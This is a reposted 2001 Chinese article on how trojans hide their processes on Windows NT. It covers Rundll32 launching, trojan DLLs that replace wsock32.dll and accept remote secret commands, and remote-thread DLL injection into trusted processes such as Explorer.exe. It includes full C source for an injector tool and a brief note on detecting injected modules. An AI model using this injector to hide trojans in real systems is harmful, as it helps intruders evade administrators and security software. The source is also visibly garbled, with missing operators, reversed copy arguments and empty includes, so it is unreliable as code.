創建時間:2001-05-29
文章屬性:轉載
文章來源:http://www.yesky.com
文章提交:quack (quack_at_xfocus.org) 揭開木馬的神秘面紗<四>
NT系統下木馬進程的隱藏與檢測
Shotgun
在WIN9X中,只需要將進程註冊為系統服務就能夠從進程查看器中隱形,可是這一切在WINNT中卻完全不同,無論木馬從埠、啟動檔上如何巧妙地隱藏自己,始終都不能欺騙WINNT的任務管理器,以至於很多的朋友問我:在WINNT下難道木馬真的再也無法隱藏自己的進程了?本文試圖通過探討WINNT中木馬的幾種常用隱藏進程手段,給大家揭示木馬/後門程式在WINNT中進程隱藏的方法和查找的途徑。
我們知道,在WINDOWS系統下,可執行檔主要是Exe和Com檔,這兩種檔在運行時都有一個共同點,會生成一個獨立的進程,查找特定進程是我們發現木馬的主要方法之一(無論手動還是防火牆),隨著入侵檢測軟體的不斷發展,關聯進程和SOCKET已經成為流行的技術(例如著名的FPort就能夠檢測出任何進程打開的TCP/UDP埠),假設一個木馬在運行時被檢測軟體同時查出埠和進程,我們基本上認為這個木馬的隱藏已經完全失敗(利用心理因素而非技術手段欺騙用戶的木馬不在我們的討論範圍之內)。在NT下正常情況用戶進程對於系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見(或者視而不見)你的進程;第二是不使用進程。
看不見進程的方法就是進行進程欺騙,為了瞭解如何能使進程看不見,我們首先要瞭解怎樣能看得見進程:在Windows中有多種方法能夠看到進程的存在:PSAPI(Process Status API),PDH(Performance Data Helper),ToolHelp API,如果我們能夠欺騙用戶或入侵檢測軟體用來查看進程的函數(例如截獲相應的API調用,替換返回的資料),我們就完全能實現進程隱藏,但是一來我們並不知道用戶/入侵檢測軟體使用的是什麼方法來查看進程列表,二來如果我們有許可權和技術實現這樣的欺騙,我們就一定能使用其他的方法更容易的實現進程的隱藏。
第二種方法是不使用進程,不使用進程使用什麼?為了弄明白這個問題,我們必須要先瞭解Windows系統的另一種“可執行檔”----DLL,DLL是Dynamic Link Library(動態連結程式庫)的縮寫,DLL檔是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL檔沒有程式邏輯,是由多個功能函數構成,它並不能獨立運行,一般都是由進程載入並調用的。(你你你,你剛剛不是說不用進程了?)別急呀,聽我慢慢道來:因為DLL檔不能獨立運行,所以在進程列表中並不會出現DLL,假設我們編寫了一個木馬DLL,並且通過別的進程來運行它,那麼無論是入侵檢測軟體還是進程列表中,都只會出現那個進程而並不會出現木馬DLL,如果那個進程是可信進程,(例如資源管理器Explorer.exe,沒人會懷疑它是木馬吧?)那麼我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員而為所欲為。
運行DLL檔最簡單的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自帶的動態連結程式庫工具,可以用來在命令行下執行動態連結程式庫中的某個函數,其中Rundll是16位而Rundll32是32位的(分別調用16位和32位的DLL檔),Rundll32的使用方法如下:
Rundll32.exe DllFileName FuncName
例如我們編寫了一個MyDll.dll,這個動態連結程式庫中定義了一個MyFunc的函數,那麼,我們通過Rundll32.exe MyDll.dll MyFunc就可以執行MyFunc函數的功能。
如何運行DLL檔和木馬進程的隱藏有什麼關係麼?當然有了,假設我們在MyFunc函數中實現了木馬的功能,那麼我們不就可以通過Rundll32來運行這個木馬了麼?在系統管理員看來,進程列表中增加的是Rundll32.exe而並不是木馬檔,這樣也算是木馬的一種簡易欺騙和自我保護方法(至少你不能去把Rundll32.exe刪掉吧?)
使用Rundll32的方法進行進程隱藏是簡易的,非常容易被識破。(雖然殺起來會麻煩一點)比較高級的方法是使用特洛伊DLL,特洛伊DLL的工作原理是替換常用的DLL文件,將正常的調用轉發給原DLL,截獲並處理特定的消息。例如,我們知道WINDOWS的Socket 1.x的函數都是存放在wsock32.dll中的,那麼我們自己寫一個wsock32.dll文件,替換掉原先的wsock32.dll(將原先的DLL檔重命名為wsockold.dll)我們的wsock32.dll只做兩件事,一是如果遇到不認識的調用,就直接轉發給wsockold.dll(使用函數轉發器forward);二是遇到特殊的請求(事先約定的)就解碼並處理。這樣理論上只要木馬編寫者通過SOCKET遠端輸入一定的暗號,就可以控制wsock32.dll(木馬DLL)做任何操作。特洛伊DLL技術是比較古老的技術,因此微軟也對此做了相當的防範,在Win2K的system32目錄下有一個dllcache的目錄,這個目錄中存放著大量的DLL檔(也包括一些重要的exe檔),這個是微軟用來保護DLL的法寶,一旦作業系統發現被保護的DLL檔被篡改(數位簽名技術),它就會自動從dllcache中恢復這個檔。雖然說先更改dllcache目錄中的備份再修改DLL檔本身可以繞過這個保護,但是可以想見的是微軟在未來必將更加小心地保護重要的DLL檔,同時特洛伊DLL方法本身有著一些漏洞(例如修復安裝、安裝補丁、檢查數位簽名等方法都有可能導致特洛伊DLL失效),所以這個方法也不能算是DLL木馬的最優選擇。
DLL木馬的最高境界是動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有記憶體空間,別的進程是不允許對這個私有空間進行操作的(私人領地、請勿入內),但是實際上,我們仍然可以利用種種方法進入並操作進程的私有記憶體。在多種動態嵌入技術中(視窗Hook、掛接API、遠端線程),我最喜歡的是遠端線程技術(其實、其實我就會這一種……),下面就為大家介紹一下遠端線程技術。
遠端線程技術指的是通過在另一個運行的進程中創建遠端線程的方法進入那個線程的記憶體位址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程創建時被同時自動建立的那個線程)共用位址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠端線程同樣可以共用遠端進程(注意:是遠端進程!)的位址空間,所以,實際上,我們通過創建一個遠端線程,進入了遠端進程的記憶體位址空間,也就擁有了那個遠端進程相當多的許可權:例如啟動一個DLL木馬(與進入進程內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個進程的資料)
閒話少說,我們來看代碼:
首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果不允許打開,那麼嵌入就無法進行了,這往往是由於許可權不夠引起的,例如你試圖打開一個受系統保護的進程)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠端創建線程
PROCESS_VM_OPERATION | //允許遠端VM操作
PROCESS_VM_WRITE, //允許遠端VM寫
FALSE, dwRemoteProcessId );
由於我們後面需要寫入遠端進程的記憶體位址空間並建立遠端線程,所以需要申請足夠的許可權(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然後,我們可以建立LoadLibraryW這個線程來啟動我們的DLL木馬,LoadLibraryW函數是在kernel32.dll中定義的,用來載入DLL檔,它只有一個參數,就是DLL檔的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑檔案名),但是由於木馬DLL是在遠端進程內調用的,所以我們首先還需要將這個檔案名複製到遠端位址空間:(否則遠程線程讀不到這個參數)
//計算DLL路徑名需要的記憶體空間
int cb = (1 lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//使用VirtualAllocEx函數在遠端進程的記憶體位址空間分配DLL檔案名緩衝區
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函數將DLL的路徑名複製到遠端進程的記憶體空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//計算LoadLibraryW的入口位址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
說明一下,上面我們計算的其實是自己這個進程內LoadLibraryW的入口位址,但是因為kernel.dll模組在所有進程內的位址都是相同的(屬於內核模組),所以這個入口位址同樣適用于遠端進程。
OK,萬事俱備,我們通過建立遠端線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數pszLibFileRemote(我們複製到遠端進程記憶體空間的木馬DLL的全路徑檔案名)在遠端進程內啟動我們的木馬DLL:
//啟動遠端線程LoadLibraryW,通過遠端線程調用用戶的DLL檔
hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的遠端進程
NULL, 0,
pfnStartAddr, //LoadLibraryW的入口地址
pszLibFileRemote, //木馬DLL的全路徑檔案名
0, NULL);
至此,遠端嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠端線程運行,我編寫了以下的測試DLL,這個DLL什麼都不做,僅僅返回所在進程的PID:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{ char * szProcessId = (char *)malloc(10*sizeof(char));
switch (reason){
case DLL_PROCESS_ATTACH:{
//獲取並顯示當前進程ID
_itoa(GetCurrentProcessId(), szProcessId, 10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
}
default:
return TRUE;
}
}
當我使用RmtDll.exe程式將這個TestDLL.dll嵌入Explorer.exe進程後(PID=1208),該測試DLL彈出了1208字樣的確認框,證明TestDLL.dll已經在Explorer.exe進程內正確地運行了。(木馬已經成為Explorer.exe的一部分)
DLL木馬的查找:查找DLL木馬的基本思路是擴展進程列表至記憶體模組列表,記憶體模組列表將顯示每個進程目前載入/調用的所有DLL檔,通過這種方法,我們能發現異常的DLL檔(前提是你對所有進程需要調用的模組都很熟悉,天哪,這幾乎是沒有可能的事,要知道隨便哪個進程都會調用十七八個DLL文件,而Windows更是由數以千計的DLL所組成的,誰能知道哪個有用哪個沒用?)對此,我寫了一個記憶體模組查看軟體,在http://www.patching.net/shotgun/ps.zip可以下載,該軟體使用PSAPI,如果是NT4.0,需要PSAPI.dll的支持,所以我把PSAPI.dll也放在了壓縮包裏。
進一步想想,用遠端線程技術啟動木馬DLL還是比較有跡可尋的,如果事先將一段代碼複製進遠端進程的記憶體空間,然後通過遠端線程起動這段代碼,那麼,即使遍曆進程記憶體模組也無濟於事;或者遠端線程切入某個原本就需要進行SOCKET操作的進程(如iExplorer.exe),對函數調用或資料進行某些有針對的修改……這樣的木馬並不需要自己打開埠,代碼也只是存在於記憶體中,可以說如羚羊掛角,無跡可尋。
無論是使用特洛伊DLL還是使用遠端線程,都是讓木馬的核心代碼運行於別的進程的記憶體空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。
這個時候,我們可以說已經實現了一個真正意義上的木馬,它不僅欺騙、進入你的電腦,甚至進入了用戶進程的內部,從某種意義上說,這種木馬已經具備了病毒的很多特性,例如隱藏和寄生(和宿主同生共死),如果有一天,出現了具備所有病毒特性的木馬(不是指蠕蟲,而是傳統意義上的寄生病毒),我想我並不會感到奇怪,倒會疑問這一天為什麼這麼遲才到來。 附錄:利用遠端線程技術嵌入進程的模型源碼:
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// Remote DLL For Win2K by Shotgun //
// This Program can inject a DLL into Remote Process //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Email: [Shotgun@Xici.Net] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
// USAGE: //
// RmtDLL.exe PID[|ProcessName] DLLFullPathName //
// Example: //
// RmtDLL.exe 1024 C:\WINNT\System32\MyDLL.dll //
// RmtDLL.exe Explorer.exe C:\MyDLL.dll //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include DWORD ProcessToPID( char *); //將進程名轉換為PID的函數
void CheckError ( int, int, char *); //出錯處理函數
void usage ( char *); //使用說明函數 PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL; void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//處理命令行參數
if (argc!=3) usage("Parametes number incorrect!");
else{
//如果輸入的是進程名,則轉化為PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判斷輸入的DLL檔案名是否是絕對路徑
if(strstr(argv[2],":\\")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
{ //取得當前目錄,將相對路徑轉換成絕對路徑
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "\\");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName:\n\t%s\n\n",
lpDllFullPathName);
}
//判斷DLL檔是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//將DLL檔全路徑的ANSI碼轉換成UNICODE碼
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//輸出最後的操作參數
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d\n", argv[1], dwRemoteProcessId);
} //打開遠端進程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創建線程
PROCESS_VM_OPERATION | //允許VM操作
PROCESS_VM_WRITE, //允許VM寫
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//計算DLL路徑名需要的記憶體空間
int cb = (1 lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//將DLL的路徑名複製到遠端進程的記憶體空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//計算LoadLibraryW的入口位址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//啟動遠端線程,通過遠端線程調用用戶的DLL檔
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待遠程線程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清場處理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main() //將進程名轉換為PID的函數
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess"; // 計算目前有多少進程, aProcesses[]用來存放有效的進程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍曆所有的進程
for ( i = 0; i < cProcesses; i )
{
// 打開特定PID的進程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的進程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//將取得的進程名與輸入的進程名比較,如相同則返回進程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//沒有找到相應的進程名,返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID //錯誤處理函數CheckError()
//如果iReturnCode等於iErrorCode,則輸出pErrorMsg並退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清場處理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError() //使用方法說明函數usage()
void usage(char * pErrorMsg)
{
printf("%s\n\n",pErrorMsg);
printf("\t\tRemote Process DLL by Shotgun\n");
printf("\tThis program can inject a DLL into remote process\n");
printf("Email:\n");
printf("\tShotgun@Xici.Net\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n");
printf("\tRmtDLL.exe PID[|ProcessName] DLLFullPathName\n");
printf("Example:\n");
printf("\tRmtDLL.exe 1024 C:\\WINNT\\System32\\MyDLL.dll\n");
printf("\tRmtDLL.exe Explorer.exe C:\\MyDLL.dll\n");
exit(0);
}//end of usage()